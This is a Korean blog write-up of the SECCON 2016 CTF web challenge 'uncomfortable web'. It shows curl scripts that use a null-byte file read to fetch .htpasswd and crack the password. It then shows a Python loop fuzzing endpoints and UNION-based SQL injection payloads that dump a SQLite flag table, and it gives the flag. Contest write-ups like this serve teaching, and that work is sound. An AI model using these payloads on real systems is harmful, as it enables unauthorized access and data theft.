shpik's world!

[SECCON 2016] uncomfortable web - 300pts

0x400 CTF


uncomfortable web

300 points

uncomfortable web
Attack to http://127.0.0.1:81/authed/ through the uploaded script at http://uncomfortableweb.pwn.seccon.jp/.
Get the flag in the database!


주말에 SECCON CTF가 열렸지만, 시험 기간이고해서 그냥 즐기는 용도로 문제를 풀었다.


문제의 페이지는 다음과 같다.



sample파일들의 내용은 전부 127.0.0.1:81로 연결하는 코드이다.

sample1.sh을 예로 보면 다음과 같다.

# sample1.sh #!/bin/sh curl http://127.0.0.1:81/

이를 업로드 하면 다음과같은 화면을 보여준다.


<!-- Output -->

% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 100 903 100 903 0 0 1651k 0 --:--:-- --:--:-- --:--:-- 881k <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <html> <head> <title>Index of /</title> </head> <body> <h1>Index of /</h1> <table><tr><th><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr><tr><th colspan="5"><hr></th></tr> <tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="authed/">authed/</a></td><td align="right">28-Nov-2016 10:51 </td><td align="right"> - </td><td>&nbsp;</td></tr> <tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="select.cgi">select.cgi</a></td><td align="right">28-Nov-2016 10:08 </td><td align="right">612 </td><td>&nbsp;</td></tr> <tr><th colspan="5"><hr></th></tr> </table> <address>Apache Server at 127.0.0.1 Port 81</address> </body></html>


authed라는 폴더와 select.cgi라는 파일이 존재함을 알 수 있는데, authed폴더는 아래와 같이 권한 없음을 알 수 있다.



#!/bin/sh curl http://127.0.0.1:81/authed


select.cgi를 열면 다음과 같다.

#!/bin/sh curl http://127.0.0.1:81/select.cgi

#!/bin/sh curl http://127.0.0.1:81/select.cgi?txt=a


#!/bin/sh curl http://127.0.0.1:81/select.cgi?txt=.htaccess%00


#!/bin/sh curl http://127.0.0.1:81/select.cgi?txt=.htpasswd%00


John the ripper를 통해 crack하면 패스워드가 test라는 것을 알 수 있다.

이를 통해 authed에 접근이 가능해진다.

#!/bin/sh curl http://127.0.0.1:81/authed/ --user keigo:test



a,b,c라는 txt파일과 sqlinj라는 솔더가 존재함을 알 수 있다.

sqlinj에 접근을 해보자.

#!/bin/sh

curl http://127.0.0.1:81/authed/sqlinj/ --user keigo:test


위와 같이 1.cgi부터 사진에는 안나오지만 100.cgi까지 존재 함을 알 수 있다.

우선 1.cgi를 열어 확인해보면 다음과 같다.

#!/bin/sh curl http://127.0.0.1:81/authed/sqlinj/1.cgi --user keigo:test


뭔가 no에 인젝션이 될거같이 생겼다.

그래서 아래와 같은 스크립트를 돌려놓았다.

#!/usr/bin/python import os for i in range(1,101): print os.system('curl -vv "http://127.0.0.1:81/authed/sqlinj/'+str(i)+'.cgi?no=\'%20or%20\'1%20--" --user keigo:test')



72.cgi의 no 파라미터를 통해 sql injection이 가능함을 확인하였고, flag를 찾기 시작하였다.

#!/bin/sh curl "http://127.0.0.1:81/authed/sqlinj/72.cgi?no='%20union%20select%201,2,3%20--" --user keigo:test


#!/bin/sh curl "http://127.0.0.1:81/authed/sqlinj/72.cgi?no='%20union%20select%20sql,2,3%20from%20sqlite_master%20--" --user keigo:test


#!/bin/sh curl "http://127.0.0.1:81/authed/sqlinj/72.cgi?no='%20union%20select%20f1ag,2,3%20from%20f1ags%20--" --user keigo:test




Flag is

[ SECCON{I want to eventually make a CGC web edition... someday...} ]